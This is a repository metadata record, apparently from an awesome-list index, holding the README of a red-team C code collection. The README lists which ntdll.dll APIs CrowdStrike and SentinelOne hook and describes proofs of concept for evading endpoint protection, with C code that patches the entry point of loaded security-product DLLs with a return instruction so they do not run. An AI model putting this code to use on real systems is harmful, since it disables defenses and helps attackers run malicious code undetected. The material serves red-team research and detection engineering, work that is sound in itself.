{"id":13606186,"url":"https://github.com/Mr-Un1k0d3r/RedTeamCCode","last_synced_at":"2025-04-12T08:30:33.538Z","repository":{"id":52194310,"uuid":"318691203","full_name":"Mr-Un1k0d3r/RedTeamCCode","owner":"Mr-Un1k0d3r","description":"Red Team C code repo","archived":false,"fork":false,"pushed_at":"2024-12-16T17:21:47.000Z","size":563,"stargazers_count":534,"open_issues_count":0,"forks_count":112,"subscribers_count":27,"default_branch":"main","last_synced_at":"2025-04-08T01:35:12.514Z","etag":null,"topics":[],"latest_commit_sha":null,"homepage":null,"language":"C","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/Mr-Un1k0d3r.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null}},"created_at":"2020-12-05T03:17:51.000Z","updated_at":"2025-04-03T00:46:21.000Z","dependencies_parsed_at":"2024-08-12T04:01:03.910Z","dependency_job_id":"26b9e148-85aa-473e-b87f-d156be34d978","html_url":"https://github.com/Mr-Un1k0d3r/RedTeamCCode","commit_stats":{"total_commits":34,"total_committers":1,"mean_commits":34.0,"dds":0.0,"last_synced_commit":"227e6cd86b8517e1c28fee914c14ea9d0f58f98f"},"previous_names":[],"tags_count":0,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Mr-Un1k0d3r%2FRedTeamCCode","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Mr-Un1k0d3r%2FRedTeamCCode/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Mr-Un1k0d3r%2FRedTeamCCode/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Mr-Un1k0d3r%2FRedTeamCCode/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/Mr-Un1k0d3r","download_url":"https://codeload.github.com/Mr-Un1k0d3r/RedTeamCCode/tar.gz/refs/heads/main","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":248161276,"owners_count":21057554,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":[],"created_at":"2024-08-01T19:01:06.875Z","updated_at":"2025-04-12T08:30:28.795Z","avatar_url":"https://github.com/Mr-Un1k0d3r.png","language":"C","funding_links":[],"categories":["PoC","C"],"sub_categories":[],"readme":"# RedTeamCCode\nRed Team C code repo\n\n# Want to know what is the syscall ID been used by your system\n\n```\ngetsyscall.exe ntdll.dll NtProtectVirtualMemory\nntdll.dll!NtProtectVirtualMemory at 0x00007FFDE568D010\nNtProtectVirtualMemory syscall ID 0x00000050 (80)\n```\n\n# CrowdStrike hooked ntdll.dll APIs\n\n```\nC:\\Users\\dev\\Desktop\u003ehook_finder_64.exe C:\\Windows\\System32\\ntdll.dll\nLoading C:\\Windows\\System32\\ntdll.dll\n------------------------------------------\nBASE                    0x00007FFAE0030000      MZÉ\nPE                      0x00007FFAE00300E8      PE\nExportTableOffset       0x00007FFAE01812A0\nOffsetNameTable         0x00007FFAE01838C0\nFunction Counts         0x97e (2430)\n------------------------------------------\nNtAllocateVirtualMemory is hooked\nNtAllocateVirtualMemoryEx is hooked\nNtDeviceIoControlFile is hooked\nNtGetContextThread is hooked\nNtMapViewOfSection is hooked\nNtMapViewOfSectionEx is hooked\nNtProtectVirtualMemory is hooked\nNtQueryInformationThread is hooked\nNtQueueApcThread is hooked\nNtQueueApcThreadEx is hooked\nNtReadVirtualMemory is hooked\nNtResumeThread is hooked\nNtSetContextThread is hooked\nNtSetInformationProcess is hooked\nNtSetInformationThread is hooked\nNtSuspendThread is hooked\nNtUnmapViewOfSection is hooked\nNtUnmapViewOfSectionEx is hooked\nNtWriteVirtualMemory is hooked\nZwAllocateVirtualMemory is hooked\nZwAllocateVirtualMemoryEx is hooked\nZwDeviceIoControlFile is hooked\nZwGetContextThread is hooked\nZwMapViewOfSection is hooked\nZwMapViewOfSectionEx is hooked\nZwProtectVirtualMemory is hooked\nZwQueryInformationThread is hooked\nZwQueueApcThread is hooked\nZwQueueApcThreadEx is hooked\nZwReadVirtualMemory is hooked\nZwResumeThread is hooked\nZwSetContextThread is hooked\nZwSetInformationProcess is hooked\nZwSetInformationThread is hooked\nZwSuspendThread is hooked\nZwUnmapViewOfSection is hooked\nZwUnmapViewOfSectionEx is hooked\nZwWriteVirtualMemory is hooked\n------------------------------------------\nCompleted\n```\n# SentinelOne hooked ntdll.dll APIs\n\n```\nC:\\Users\\dev\\Desktop\u003esentinel_hook_finder_64.exe C:\\windows\\system32\\ntdll.dll\nLoading C:\\windows\\system32\\ntdll.dll\n------------------------------------------\nBASE                    0x00007FF8EDA30000      MZÉ\nPE                      0x00007FF8EDA300E8      PE\nExportTableOffset       0x00007FF8EDB812A0\nOffsetNameTable         0x00007FF8EDB838C0\nFunctions Count         0x97e (2430)\n------------------------------------------\nKiUserApcDispatcher is hooked\nLdrLoadDll is hooked\nNtAllocateVirtualMemory is hooked\nNtCreateThreadEx is hooked\nNtCreateUserProcess is hooked\nNtFreeVirtualMemory is hooked\nNtLoadDriver is hooked\nNtMapUserPhysicalPages is hooked\nNtMapViewOfSection is hooked\nNtOpenProcess is hooked\nNtProtectVirtualMemory is hooked\nNtQuerySystemInformation is hooked\nNtQuerySystemInformationEx is hooked\nNtQueueApcThread is hooked\nNtQueueApcThreadEx is hooked\nNtReadVirtualMemory is hooked\nNtResumeThread is hooked\nNtSetContextThread is hooked\nNtSetInformationProcess is hooked\nNtSetInformationThread is hooked\nNtTerminateProcess is hooked\nNtUnmapViewOfSection is hooked\nNtWriteVirtualMemory is hooked\nRtlAddVectoredExceptionHandler is hooked\nRtlGetNativeSystemInformation is hooked\nZwAllocateVirtualMemory is hooked\nZwCreateThreadEx is hooked\nZwCreateUserProcess is hooked\nZwFreeVirtualMemory is hooked\nZwLoadDriver is hooked\nZwMapUserPhysicalPages is hooked\nZwMapViewOfSection is hooked\nZwOpenProcess is hooked\nZwProtectVirtualMemory is hooked\nZwQuerySystemInformation is hooked\nZwQuerySystemInformationEx is hooked\nZwQueueApcThread is hooked\nZwQueueApcThreadEx is hooked\nZwReadVirtualMemory is hooked\nZwResumeThread is hooked\nZwSetContextThread is hooked\nZwSetInformationProcess is hooked\nZwSetInformationThread is hooked\nZwTerminateProcess is hooked\nZwUnmapViewOfSection is hooked\nZwWriteVirtualMemory is hooked\n------------------------------------------\nCompleted\n```\n\n# PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON.c\n\nIs a proof-of-concept for the `PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON` trick it will enforce the policy then spawn itself again the respawned process have the policy enforced allowing you run \"malicious\" code with the `PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON` been set.\n\n# byebyedll.c\n\nIs a proof-of-concept that enforce the `PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON` policy and also debug the child process (itself) and monitor Dlls that are loaded using Windows debugger APIs. It detect Dlls based on the path and patch it. The idea is to prevent EDR and AV Dlls loaded into your process from executing properly. This is a POC the blacklisted Dlls is set to `user32.dll`.  \n\nThe event is monitored using the `LOAD_DLL_DEBUG_EVENT` event. \n\nThe DLL location is then retrieved using `event.u.UnloadDll.lpBaseOfDll`\n\nThe code is patched using the following functions:\n\n```\nVOID *GetEntryPointOffset(CHAR *start, DWORD dwSize, HANDLE hProc) {\n\n    CHAR* mem = GlobalAlloc(GPTR, dwSize);\n    DWORD dwBytesRead = 0;\n\n    ReadProcessMemory(hProc, start, mem, dwSize, \u0026dwBytesRead);\n\n    DWORD dwBaseDLLInitializeOffset = *((DWORD*)mem + (0x120 / 4));\n\n#ifdef DEBUG\n    printf(\"dwBaseDLLInitializeOffset offset 0x%x\\n\", dwBaseDLLInitializeOffset);\n#endif\n\n    VOID *dwBaseDLLInitialize = (VOID*)start + dwBaseDLLInitializeOffset;\n\n#ifdef DEBUG\n    printf(\"dwBaseDLLInitialize offset 0x%p\\n\", dwBaseDLLInitialize);\n#endif\n\n    GlobalFree(mem);\n    return dwBaseDLLInitialize;\n}\n\nVOID ModifyMem(CHAR *start, DWORD dwSize, HANDLE hProc) {\n#ifdef DEBUG\n    printf(\"Cleaning HANDLE 0x%p 0x%p length: %d\\n\", hProc, start, dwSize);\n#endif\n    VOID* EntryPoint = GetEntryPointOffset(start, dwSize, hProc);\n    DWORD dwOut = 0;\n    DWORD dwOld = 0;\n\n#ifdef DEBUG\n    printf(\"EntryPoint at 0x%p\\n\", EntryPoint);\n#endif\n\n    VirtualProtectEx(hProc, EntryPoint, 1, PAGE_READWRITE, \u0026dwOld);\n    WriteProcessMemory(hProc, EntryPoint, \"\\xc3\", 1, \u0026dwOut);\n#ifdef DEBUG\n    printf(\"Size of bytes written: %d\\n\", dwOut);\n#endif\n}\n```\n\nVerbose messages can be removed before the code is compiled by setting `DEBUG` as `FALSE`.\n\n# Credit \nMr.Un1k0d3r RingZer0 Team\n\n[link](https://mr.un1k0d3r.com)\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2FMr-Un1k0d3r%2FRedTeamCCode","html_url":"https://awesome.ecosyste.ms/projects/github.com%2FMr-Un1k0d3r%2FRedTeamCCode","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2FMr-Un1k0d3r%2FRedTeamCCode/lists"}